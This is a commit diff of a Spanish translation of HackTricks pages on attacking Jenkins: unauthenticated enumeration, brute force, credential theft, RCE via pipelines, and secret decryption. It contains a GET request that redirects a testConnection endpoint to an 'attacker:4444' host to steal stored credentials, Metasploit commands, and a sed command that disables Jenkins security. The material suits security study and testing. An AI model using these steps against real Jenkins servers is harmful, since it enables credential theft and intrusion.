Translated ['', 'src/pentesting-ci-cd/jenkins-security/basic-jenkins-inf

This commit is contained in:
Translator
2026-01-17 16:56:04 +00:00
parent 39c45e1915
commit 4e964a1f4f
2 changed files with 145 additions and 118 deletions
+98 -83
View File
@@ -2,39 +2,39 @@
{{#include ../../banners/hacktricks-training.md}}
## Información Básica
## Información básica
Jenkins es una herramienta que ofrece un método sencillo para establecer un **entorno de integración continua** o **entrega continua** (CI/CD) para casi **cualquier** combinación de **lenguajes de programación** y repositorios de código fuente utilizando pipelines. Además, automatiza varias tareas rutinarias de desarrollo. Aunque Jenkins no elimina la **necesidad de crear scripts para pasos individuales**, proporciona una forma más rápida y robusta de integrar toda la secuencia de herramientas de construcción, prueba y despliegue que uno puede construir manualmente.
Jenkins es una herramienta que ofrece un método sencillo para establecer un entorno de **integración continua** o **entrega continua** (CI/CD) para casi **cualquier** combinación de **lenguajes de programación** y repositorios de código fuente usando pipelines. Además, automatiza diversas tareas rutinarias de desarrollo. Aunque Jenkins no elimina la **necesidad de crear scripts para pasos individuales**, proporciona una forma más rápida y más robusta de integrar toda la secuencia de herramientas de compilación, pruebas y despliegue de lo que se puede construir manualmente con facilidad.
{{#ref}}
basic-jenkins-information.md
{{#endref}}
## Enumeración No Autenticada
## Enumeración no autenticada
Para buscar páginas interesantes de Jenkins sin autenticación como (_/people_ o _/asynchPeople_, esto lista los usuarios actuales) puedes usar:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Verifica si puedes ejecutar comandos sin necesidad de autenticación:
Comprueba si puedes ejecutar comandos sin necesidad de autenticación:
```
msf> use auxiliary/scanner/http/jenkins_command
```
Sin credenciales, puedes mirar dentro de la ruta _**/asynchPeople/**_ o _**/securityRealm/user/admin/search/index?q=**_ para **nombres de usuario**.
Sin credenciales puedes mirar dentro del path _**/asynchPeople/**_ o _**/securityRealm/user/admin/search/index?q=**_ para **nombres de usuario**.
Es posible que puedas obtener la versión de Jenkins desde la ruta _**/oops**_ o _**/error**_.
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
![](<../../images/image (146).png>)
### Vulnerabilidades Conocidas
### Vulnerabilidades conocidas
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
## Inicio de Sesión
## Inicio de sesión
En la información básica puedes verificar **todas las formas de iniciar sesión en Jenkins**:
En la información básica puedes comprobar **todas las formas de iniciar sesión en Jenkins**:
{{#ref}}
basic-jenkins-information.md
@@ -42,86 +42,102 @@ basic-jenkins-information.md
### Registro
Podrás encontrar instancias de Jenkins que **te permiten crear una cuenta e iniciar sesión en ella. Tan simple como eso.**
Podrás encontrar instancias de Jenkins que **te permiten crear una cuenta e iniciar sesión en ellas. Así de simple.**
### **Inicio de Sesión SSO**
### **Inicio de sesión SSO**
Además, si la **funcionalidad**/**plugins** de **SSO** estaban presentes, entonces deberías intentar **iniciar sesión** en la aplicación usando una cuenta de prueba (es decir, una **cuenta de prueba de Github/Bitbucket**). Truco de [**aquí**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
Además, si la **funcionalidad SSO**/**plugins** estaban presentes deberías intentar **iniciar sesión** en la aplicación usando una cuenta de prueba (p. ej., una cuenta de prueba de **Github/Bitbucket**). Truco de [**aquí**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Fuerza Bruta
### Bruteforce
**Jenkins** carece de **política de contraseñas** y **mitigación de fuerza bruta de nombres de usuario**. Es esencial **realizar fuerza bruta** a los usuarios ya que **contraseñas débiles** o **nombres de usuario como contraseñas** pueden estar en uso, incluso **nombres de usuario invertidos como contraseñas**.
**Jenkins** no tiene **política de contraseñas** ni **mitigación de brute-force de nombres de usuario**. Es esencial realizar **brute-force** sobre los usuarios ya que pueden usarse **contraseñas débiles** o **nombres de usuario como contraseñas**, incluso **nombres de usuario invertidos como contraseñas**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying
Usa [este script de python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) o [este script de powershell](https://github.com/chryzsh/JenkinsPasswordSpray).
Usa [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) o [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
### Bypass de IP Whitelisting
### IP Whitelisting Bypass
Muchas organizaciones combinan **sistemas de gestión de control de versiones (SCM) basados en SaaS** como GitHub o GitLab con una **solución CI interna y autohospedada** como Jenkins o TeamCity. Esta configuración permite que los sistemas CI **reciban eventos de webhook de proveedores de control de versiones SaaS**, principalmente para activar trabajos de pipeline.
Muchas organizaciones combinan **SaaS-based source control management (SCM) systems** como GitHub o GitLab con una solución **internal, self-hosted CI** como Jenkins o TeamCity. Esta configuración permite que los sistemas CI **receive webhook events from SaaS source control vendors**, principalmente para desencadenar jobs de pipeline.
Para lograr esto, las organizaciones **blanquean** los **rangos de IP** de las **plataformas SCM**, permitiéndoles acceder al **sistema CI interno** a través de **webhooks**. Sin embargo, es importante notar que **cualquiera** puede crear una **cuenta** en GitHub o GitLab y configurarla para **activar un webhook**, enviando potencialmente solicitudes al **sistema CI interno**.
Para lograr esto, las organizaciones **whitelist** los **IP ranges** de las **SCM platforms**, permitiéndoles acceder al **internal CI system** vía **webhooks**. Sin embargo, es importante notar que **anyone** puede crear una **account** en GitHub o GitLab y configurarla para **trigger a webhook**, potencialmente enviando requests al **internal CI system**.
Verifica: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## Abusos internos de Jenkins
## Internal Jenkins Abuses
En estos escenarios vamos a suponer que tienes una cuenta válida para acceder a Jenkins.
> [!WARNING]
> Dependiendo del mecanismo de **Autorización** configurado en Jenkins y los permisos del usuario comprometido, **podrías o no** realizar los siguientes ataques.
> Dependiendo del **Authorization** mechanism configurado en Jenkins y de los permisos del usuario comprometido, **puede que puedas o no realizar los siguientes ataques.**
Para más información, consulta la información básica:
For more information check the basic information:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### Listando usuarios
### Listing users
Si has accedido a Jenkins, puedes listar otros usuarios registrados en [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
Si has accedido a Jenkins puedes listar a otros usuarios registrados en [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
### Extracción de builds para encontrar secretos en texto claro
### Dumping builds to find cleartext secrets
Usa [este script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) para extraer las salidas de consola de los builds y las variables de entorno de los builds para encontrar, con suerte, secretos en texto claro.
Usa [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) para dump build console outputs y build environment variables para, con suerte, encontrar secretos en texto claro.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **Robando Credenciales SSH**
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
Si el usuario comprometido tiene **suficientes privilegios para crear/modificar un nuevo nodo de Jenkins** y las credenciales SSH ya están almacenadas para acceder a otros nodos, podría **robar esas credenciales** creando/modificando un nodo y **configurando un host que registrará las credenciales** sin verificar la clave del host:
Algunos plugins exponen controladores Jelly `validateButton` o `test connection` bajo rutas como `/descriptorByName/<Class>/testConnection`. Cuando los controladores **no exigen POST ni comprobaciones de permisos**, puedes:
- Cambiar POST por GET y omitir el Crumb para evadir las comprobaciones CSRF.
- Invocar el controlador como low-priv/anonymous si no existe una comprobación `Jenkins.ADMINISTER`.
- Hacer CSRF a un admin y reemplazar el parámetro host/URL para exfiltrar credentials o provocar llamadas salientes.
- Usar los errores de respuesta (p. ej., `ConnectException`) como un oráculo SSRF/port-scan.
Ejemplo GET (sin Crumb) que convierte una llamada de validación en SSRF/exfiltración de credentials:
```http
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
```
Si el plugin reutiliza credenciales almacenadas, Jenkins intentará autenticarse a `attacker:4444` y puede leak identificadores o errores en la respuesta. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
### **Robar credenciales SSH**
Si el usuario comprometido tiene **suficientes privilegios para crear/modificar un nuevo nodo de Jenkins** y ya existen credenciales SSH almacenadas para acceder a otros nodos, podría **robar esas credenciales** creando/modificando un nodo y **configurando un host que registre las credenciales** sin verificar la clave del host:
![](<../../images/image (218).png>)
Normalmente encontrarás las credenciales ssh de Jenkins en un **proveedor global** (`/credentials/`), así que también puedes volcarlas como lo harías con cualquier otro secreto. Más información en la [**sección de volcado de secretos**](./#dumping-secrets).
Normalmente encontrarás las credenciales SSH de Jenkins en un **global provider** (`/credentials/`), así que también puedes dumpearlas como cualquier otro secreto. More information in the [**Dumping secrets section**](#dumping-secrets).
### **RCE en Jenkins**
Obtener un **shell en el servidor de Jenkins** le da al atacante la oportunidad de filtrar todos los **secretos** y **variables de entorno** y de **explotar otras máquinas** ubicadas en la misma red o incluso **reunir credenciales de la nube**.
Obtener una **shell en el servidor Jenkins** le da al atacante la oportunidad de leak todos los **secrets** y las **env variables** y de **explotar otras máquinas** ubicadas en la misma red o incluso **gather cloud credentials**.
Por defecto, Jenkins **se ejecuta como SYSTEM**. Por lo tanto, comprometerlo le dará al atacante **privilegios de SYSTEM**.
Por defecto, Jenkins se **ejecuta como SYSTEM**. Por tanto, comprometerlo dará al atacante **privilegios SYSTEM**.
### **RCE Creando/Modificando un proyecto**
### **RCE Creating/Modifying a project**
Crear/Modificar un proyecto es una forma de obtener RCE sobre el servidor de Jenkins:
Crear/Modificar un proyecto es una forma de obtener RCE en el servidor Jenkins:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
### **RCE Ejecutar script Groovy**
### **RCE Execute Groovy script**
También puedes obtener RCE ejecutando un script Groovy, que podría ser más sigiloso que crear un nuevo proyecto:
También puedes obtener RCE ejecutando un script Groovy, lo cual puede ser más sigiloso que crear un nuevo proyecto:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
### RCE Creando/Modificando Pipeline
### RCE Creating/Modifying Pipeline
También puedes obtener **RCE creando/modificando un pipeline**:
@@ -129,37 +145,36 @@ También puedes obtener **RCE creando/modificando un pipeline**:
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Explotación de Pipeline
## Pipeline Exploitation
Para explotar pipelines aún necesitas tener acceso a Jenkins.
### Construir Pipelines
### Build Pipelines
**Pipelines** también pueden ser utilizados como **mecanismo de construcción en proyectos**, en ese caso se puede configurar un **archivo dentro del repositorio** que contendrá la sintaxis del pipeline. Por defecto se utiliza `/Jenkinsfile`:
**Pipelines** también pueden usarse como **mecanismo de build en proyectos**; en ese caso se puede configurar un **archivo dentro del repositorio** que contendrá la sintaxis del pipeline. Por defecto se usa `/Jenkinsfile`:
![](<../../images/image (127).png>)
También es posible **almacenar archivos de configuración de pipeline en otros lugares** (en otros repositorios, por ejemplo) con el objetivo de **separar** el **acceso** al repositorio y el acceso al pipeline.
También es posible **almacenar archivos de configuración del pipeline en otros lugares** (por ejemplo, en otros repositorios) con el objetivo de **separar** el acceso al repositorio y al pipeline.
Si un atacante tiene **acceso de escritura sobre ese archivo**, podrá **modificarlo** y **potencialmente activar** el pipeline sin siquiera tener acceso a Jenkins.\
Es posible que el atacante necesite **eludir algunas protecciones de rama** (dependiendo de la plataforma y los privilegios del usuario, podrían ser eludidas o no).
Si un atacante tiene **acceso de escritura sobre ese archivo** podrá **modificarlo** y **potencialmente activar** el pipeline sin siquiera tener acceso a Jenkins. Es posible que el atacante necesite **eludir algunas protecciones de rama** (dependiendo de la plataforma y de los privilegios del usuario estas protecciones podrían ser eludidas o no).
Los desencadenantes más comunes para ejecutar un pipeline personalizado son:
Los triggers más comunes para ejecutar un pipeline personalizado son:
- **Solicitud de extracción** a la rama principal (o potencialmente a otras ramas)
- **Empujar a la rama principal** (o potencialmente a otras ramas)
- **Actualizar la rama principal** y esperar hasta que se ejecute de alguna manera
- **Pull request** a la rama main (o potencialmente a otras ramas)
- **Push a la rama main** (o potencialmente a otras ramas)
- **Actualizar la rama main** y esperar hasta que se ejecute de alguna forma
> [!NOTE]
> Si eres un **usuario externo**, no deberías esperar crear un **PR a la rama principal** del repositorio de **otro usuario/organización** y **activar el pipeline**... pero si está **mal configurado**, podrías comprometer completamente a las empresas solo explotando esto.
> Si eres un **external user** no deberías esperar poder crear un **PR to the main branch** del repo de **otro usuario/organización** y **trigger the pipeline**... pero si está **mal configurado** podrías **comprometer completamente empresas solo explotando esto**.
### RCE de Pipeline
### Pipeline RCE
En la sección anterior de RCE ya se indicó una técnica para [**obtener RCE modificando un pipeline**](./#rce-creating-modifying-pipeline).
En la sección anterior de RCE ya se indicó una técnica para [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
### Comprobando Variables de Entorno
### Checking Env variables
Es posible declarar **variables de entorno en texto claro** para todo el pipeline o para etapas específicas. Estas variables de entorno **no deberían contener información sensible**, pero un atacante siempre podría **revisar todas las configuraciones del pipeline/Jenkinsfiles:**
Es posible declarar **env variables en texto claro** para todo el pipeline o para etapas específicas. Estas env variables **no deberían contener información sensible**, pero un atacante podría revisar siempre **todas las configuraciones del pipeline/Jenkinsfiles**:
```bash
pipeline {
agent {label 'built-in'}
@@ -176,19 +191,19 @@ steps {
```
### Extracción de secretos
Para obtener información sobre cómo se tratan generalmente los secretos en Jenkins, consulta la información básica:
Para información sobre cómo Jenkins suele tratar los secretos, consulta la información básica:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Las credenciales pueden estar **alcanzadas a proveedores globales** (`/credentials/`) o a **proyectos específicos** (`/job/<project-name>/configure`). Por lo tanto, para exfiltrar todos ellos, necesitas **comprometer al menos todos los proyectos** que contienen secretos y ejecutar pipelines personalizados/contaminados.
Las credenciales pueden estar asignadas a proveedores globales (`/credentials/`) o a proyectos específicos (`/job/<project-name>/configure`). Por lo tanto, para exfiltrar todas ellas necesitas comprometer al menos todos los proyectos que contienen secretos y ejecutar pipelines personalizados o maliciosos.
Hay otro problema, para obtener un **secreto dentro del env** de un pipeline, necesitas **conocer el nombre y tipo del secreto**. Por ejemplo, si intentas **cargar** un **secreto** de **`usernamePassword`** como un **secreto** de **`string`**, obtendrás este **error**:
Hay otro problema: para obtener un **secreto** dentro del **env** de un pipeline necesitas **conocer el nombre y el tipo del secreto**. Por ejemplo, si intentas **cargar** un **`usernamePassword`** **secret** como un **`string`** **secret** obtendrás este **error**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Aquí tienes la forma de cargar algunos tipos de secretos comunes:
Aquí tienes cómo cargar algunos secret types:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
@@ -219,43 +234,43 @@ env
Al final de esta página puedes **encontrar todos los tipos de credenciales**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
> La mejor manera de **volcar todos los secretos a la vez** es **comprometiendo** la máquina de **Jenkins** (ejecutando un shell inverso en el **nodo incorporado**, por ejemplo) y luego **filtrando** las **claves maestras** y los **secretos encriptados** y desencriptándolos sin conexión.\
> Más sobre cómo hacer esto en la [sección de Nodos y Agentes](./#nodes-and-agents) y en la [sección de Post Explotación](./#post-exploitation).
> La mejor manera de **volcar todos los secretos de una vez** es **comprometer** la máquina **Jenkins** (ejecutando un reverse shell en el **built-in node** por ejemplo) y luego **leaking** las **master keys** y los **encrypted secrets** y descifrarlos offline.\
> Más sobre cómo hacer esto en la [Nodes & Agents section](#nodes-and-agents) y en la [Post Exploitation section](#post-exploitation).
### Disparadores
### Triggers
De [la documentación](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): La directiva `triggers` define las **maneras automatizadas en las que el Pipeline debe ser reactivado**. Para Pipelines que están integrados con una fuente como GitHub o BitBucket, `triggers` puede no ser necesario ya que la integración basada en webhooks probablemente ya esté presente. Los disparadores actualmente disponibles son `cron`, `pollSCM` y `upstream`.
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): La directiva `triggers` define las **formas automatizadas en las que el Pipeline debería volver a ejecutarse**. Para Pipelines que están integrados con una fuente como GitHub o BitBucket, `triggers` puede no ser necesario ya que probablemente ya exista integración basada en webhooks. Los triggers actualmente disponibles son `cron`, `pollSCM` y `upstream`.
Ejemplo de Cron:
Cron example:
```bash
triggers { cron('H */4 * * 1-5') }
```
Revisa **otros ejemplos en la documentación**.
Consulta **otros ejemplos en la docs**.
### Nodos y Agentes
### Nodos & Agentes
Una **instancia de Jenkins** puede tener **diferentes agentes corriendo en diferentes máquinas**. Desde la perspectiva de un atacante, el acceso a diferentes máquinas significa **diferentes credenciales de nube potenciales** para robar o **diferente acceso a la red** que podría ser abusado para explotar otras máquinas.
Una **instancia de Jenkins** puede tener **diferentes agentes corriendo en distintas máquinas**. Desde la perspectiva de un atacante, el acceso a diferentes máquinas significa **distintas credenciales cloud potenciales** para robar o **diferente acceso a la red** que podría ser abusado para explotar otras máquinas.
Para más información, consulta la información básica:
Para más información consulta la información básica:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Puedes enumerar los **nodos configurados** en `/computer/`, generalmente encontrarás el **`Built-In Node`** (que es el nodo que ejecuta Jenkins) y potencialmente más:
Puedes enumerar los **nodos configurados** en `/computer/`, normalmente encontrarás el \*\*`Built-In Node` \*\* (que es el nodo que ejecuta Jenkins) y potencialmente más:
![](<../../images/image (249).png>)
Es **especialmente interesante comprometer el nodo incorporado** porque contiene información sensible de Jenkins.
Es especialmente interesante comprometer el Built-In node porque contiene información sensible de Jenkins.
Para indicar que deseas **ejecutar** el **pipeline** en el **nodo incorporado de Jenkins**, puedes especificar dentro del pipeline la siguiente configuración:
Para indicar que quieres **ejecutar** la **pipeline** en el **built-in Jenkins node** puedes especificar dentro del pipeline la siguiente config:
```bash
pipeline {
agent {label 'built-in'}
```
### Ejemplo completo
Pipeline en un agente específico, con un desencadenador cron, con variables de entorno de pipeline y etapa, cargando 2 variables en un paso y enviando un shell inverso:
Pipeline en un agente específico, con un trigger cron, con variables env a nivel de pipeline y stage, cargando 2 variables en un step y enviando un reverse shell:
```bash
pipeline {
agent {label 'built-in'}
@@ -286,7 +301,7 @@ cleanWs()
}
}
```
## Lectura Arbitraria de Archivos a RCE
## Arbitrary File Read to RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -306,7 +321,7 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Post Explotación
## Post Exploitation
### Metasploit
```
@@ -314,9 +329,9 @@ msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets
Puedes listar los secretos accediendo a `/credentials/` si tienes suficientes permisos. Ten en cuenta que esto solo listará los secretos dentro del archivo `credentials.xml`, pero **los archivos de configuración de construcción** también pueden tener **más credenciales**.
Puedes listar los secrets accediendo a `/credentials/` si tienes permisos suficientes. Ten en cuenta que esto solo listará los secrets dentro del archivo `credentials.xml`, pero **los archivos de configuración de build** podrían también contener **más credentials**.
Si puedes **ver la configuración de cada proyecto**, también puedes ver allí los **nombres de las credenciales (secretos)** que se utilizan para acceder al repositorio y **otras credenciales del proyecto**.
Si puedes **ver la configuración de cada proyecto**, también puedes ver allí los **nombres de las credentials (secrets)** que se usan para acceder al repositorio y **otras credentials del proyecto**.
![](<../../images/image (180).png>)
@@ -326,14 +341,14 @@ Si puedes **ver la configuración de cada proyecto**, también puedes ver allí
jenkins-dumping-secrets-from-groovy.md
{{#endref}}
#### Desde el disco
#### Desde disco
Estos archivos son necesarios para **desencriptar los secretos de Jenkins**:
Estos archivos son necesarios para **descifrar Jenkins secrets**:
- secrets/master.key
- secrets/hudson.util.Secret
Tales **secretos generalmente se pueden encontrar en**:
Tales **secrets suelen encontrarse en**:
- credentials.xml
- jobs/.../build.xml
@@ -349,9 +364,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Desencriptar secretos de Jenkins sin conexión
#### Descifrar secretos de Jenkins sin conexión
Si has volcado las **contraseñas necesarias para desencriptar los secretos**, utiliza [**este script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **para desencriptar esos secretos**.
Si has volcado las **contraseñas necesarias para descifrar los secretos**, usa [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **para descifrar esos secretos**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -359,18 +374,18 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Desencriptar secretos de Jenkins desde Groovy
#### Descifrar secretos de Jenkins con Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Crear un nuevo usuario administrador
### Crear nuevo usuario administrador
1. Accede al archivo config.xml de Jenkins en `/var/lib/jenkins/config.xml` o `C:\Program Files (x86)\Jenkis\`
2. Busca la palabra `<useSecurity>true</useSecurity>` y cambia la palabra **`true`** a **`false`**.
1. Accede al archivo config.xml de Jenkins en `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
2. Busca la palabra `<useSecurity>true</useSecurity>` y cambia la palabra \*\*`true` \*\* por **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Reinicia** el servidor **Jenkins**: `service jenkins restart`
4. Ahora ve al portal de Jenkins nuevamente y **Jenkins no pedirá ninguna credencial** esta vez. Navega a "**Manage Jenkins**" para establecer la **contraseña de administrador nuevamente**.
5. **Habilita** la **seguridad** nuevamente cambiando la configuración a `<useSecurity>true</useSecurity>` y **reinicia Jenkins nuevamente**.
4. Ahora vuelve al portal de Jenkins y **Jenkins no pedirá credenciales** esta vez. Navega a "**Manage Jenkins**" para establecer la **contraseña de administrador** nuevamente.
5. **Habilita** la **seguridad** de nuevo cambiando la configuración a `<useSecurity>true</useSecurity>` y **reinicia Jenkins nuevamente**.
## Referencias
@@ -1,86 +1,97 @@
# Información Básica de Jenkins
# Información básica de Jenkins
{{#include ../../banners/hacktricks-training.md}}
## Acceso
### Nombre de usuario + Contraseña
### Username + Password
La forma más común de iniciar sesión en Jenkins es con un nombre de usuario o una contraseña.
### Cookie
Si una **cookie autorizada es robada**, puede ser utilizada para acceder a la sesión del usuario. La cookie generalmente se llama `JSESSIONID.*`. (Un usuario puede terminar todas sus sesiones, pero primero necesitaría averiguar que una cookie fue robada).
Si una **cookie autorizada es robada**, puede usarse para acceder a la sesión del usuario. La cookie suele llamarse `JSESSIONID.*`. (Un usuario puede terminar todas sus sesiones, pero primero tendría que descubrir que una cookie fue robada).
### SSO/Plugins
Jenkins se puede configurar utilizando plugins para ser **accesible a través de SSO de terceros**.
Jenkins puede configurarse mediante plugins para ser **accesible vía SSO de terceros**.
### Tokens
**Los usuarios pueden generar tokens** para dar acceso a aplicaciones para suplantarlos a través de CLI o REST API.
**Los usuarios pueden generar tokens** para dar acceso a aplicaciones y que las mismas los suplanten vía CLI o REST API.
### Claves SSH
### SSH Keys
Este componente proporciona un servidor SSH integrado para Jenkins. Es una interfaz alternativa para el [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), y los comandos se pueden invocar de esta manera utilizando cualquier cliente SSH. (De los [docs](https://plugins.jenkins.io/sshd/))
Este componente proporciona un servidor SSH integrado para Jenkins. Es una interfaz alternativa para el [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), y los comandos pueden invocarse de esta manera usando cualquier cliente SSH. (From the [docs](https://plugins.jenkins.io/sshd/))
## Autorización
En `/configureSecurity` es posible **configurar el método de autorización de Jenkins**. Hay varias opciones:
- **Cualquiera puede hacer cualquier cosa**: Incluso el acceso anónimo puede administrar el servidor.
- **Modo legado**: Igual que Jenkins <1.164. Si tienes el **rol "admin"**, se te otorga**control total** sobre el sistema, y **de lo contrario** (incluyendo a los **usuarios anónimos**) tendrás acceso **de lectura**.
- **Los usuarios registrados pueden hacer cualquier cosa**: En este modo, cada **usuario registrado obtiene control total** de Jenkins. El único usuario que no tendrá control total es el **usuario anónimo**, que solo obtiene **acceso de lectura**.
- **Seguridad basada en matriz**: Puedes configurar **quién puede hacer qué** en una tabla. Cada **columna** representa un **permiso**. Cada **fila** **representa** un **usuario o un grupo/rol.** Esto incluye un usuario especial '**anónimo**', que representa a **usuarios no autenticados**, así como '**autenticado**', que representa a **todos los usuarios autenticados**.
- **Anyone can do anything**: Incluso el acceso anónimo puede administrar el servidor.
- **Legacy mode**: Igual que Jenkins <1.164. Si tienes el rol **"admin"**, se te concede**control total** sobre el sistema, y **de lo contrario** (incluyendo usuarios **anonymous**) tendrás **acceso de solo lectura**.
- **Logged-in users can do anything**: En este modo, cada **usuario autenticado obtiene control total** de Jenkins. El único usuario que no tendrá control total es el **usuario anonymous**, que solo obtiene **acceso de lectura**.
- **Matrix-based security**: Puedes configurar **quién puede hacer qué** en una tabla. Cada **columna** representa un **permiso**. Cada **fila** **representa** un **usuario o un grupo/rol.** Esto incluye un usuario especial '**anonymous**', que representa a **usuarios no autenticados**, así como '**authenticated**', que representa **a todos los usuarios autenticados**.
![](<../../images/image (149).png>)
- **Estrategia de Autorización Basada en Proyectos:** Este modo es una **extensión** de "**seguridad basada en matriz**" que permite definir una matriz ACL adicional para **cada proyecto por separado.**
- **Estrategia Basada en Roles:** Permite definir autorizaciones utilizando una **estrategia basada en roles**. Administra los roles en `/role-strategy`.
- **Project-based Matrix Authorization Strategy:** Este modo es una **extensión** a "**Matrix-based security**" que permite que matrices ACL adicionales sean **definidas para cada proyecto por separado.**
- **Role-Based Strategy:** Permite definir autorizaciones usando una **estrategia basada en roles**. Gestiona los roles en `/role-strategy`.
## **Reino de Seguridad**
## **Security Realm**
En `/configureSecurity` es posible **configurar el reino de seguridad.** Por defecto, Jenkins incluye soporte para algunos reinos de seguridad diferentes:
En `/configureSecurity` es posible **configurar el Security Realm**. Por defecto Jenkins incluye soporte para varios Security Realms:
- **Delegar al contenedor de servlets**: Para **delegar la autenticación a un contenedor de servlets que ejecuta el controlador de Jenkins**, como [Jetty](https://www.eclipse.org/jetty/).
- **Base de datos de usuarios propia de Jenkins:** Utiliza **la propia base de datos de usuarios integrada de Jenkins** para la autenticación en lugar de delegar a un sistema externo. Esto está habilitado por defecto.
- **LDAP**: Delegar toda la autenticación a un servidor LDAP configurado, incluyendo tanto usuarios como grupos.
- **Base de datos de usuarios/grupos de Unix**: **Delegar la autenticación a la base de datos de usuarios a nivel de OS de Unix** en el controlador de Jenkins. Este modo también permitirá reutilizar grupos de Unix para autorización.
- **Delegate to servlet container**: Para **delegar la autenticación a un servlet container que ejecute el Jenkins controller**, como [Jetty](https://www.eclipse.org/jetty/).
- **Jenkins own user database:** Usar el **almacenamiento de usuarios incorporado de Jenkins** para la autenticación en lugar de delegar a un sistema externo. Esto está habilitado por defecto.
- **LDAP**: Delegar toda la autenticación a un servidor LDAP configurado, incluyendo usuarios y grupos.
- **Unix user/group database**: **Delegar la autenticación al sistema Unix** de nivel OS subyacente en el Jenkins controller. Este modo también permitirá reutilizar los grupos Unix para autorización.
Los plugins pueden proporcionar reinos de seguridad adicionales que pueden ser útiles para incorporar Jenkins en sistemas de identidad existentes, como:
Los plugins pueden proporcionar Security Realms adicionales que pueden ser útiles para incorporar Jenkins en sistemas de identidad existentes, como:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [Autenticación de GitHub](https://plugins.jenkins.io/github-oauth)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
## Nodos, Agentes y Ejecutores de Jenkins
## Jenkins Nodes, Agents & Executors
Definiciones de los [docs](https://www.jenkins.io/doc/book/managing/nodes/):
**Nodos** son las **máquinas** en las que se ejecutan los **agentes de construcción**. Jenkins monitorea cada nodo adjunto en cuanto a espacio en disco, espacio temporal libre, intercambio libre, tiempo/sincronización del reloj y tiempo de respuesta. Un nodo se desconecta si alguno de estos valores sale del umbral configurado.
**Nodes** son las **máquinas** en las que se ejecutan los **agents** de build. Jenkins monitoriza cada node conectado en cuanto a espacio en disco, espacio temporal libre, swap libre, hora/sincronización de reloj y tiempo de respuesta. Un node se toma offline si cualquiera de estos valores sale de los umbrales configurados.
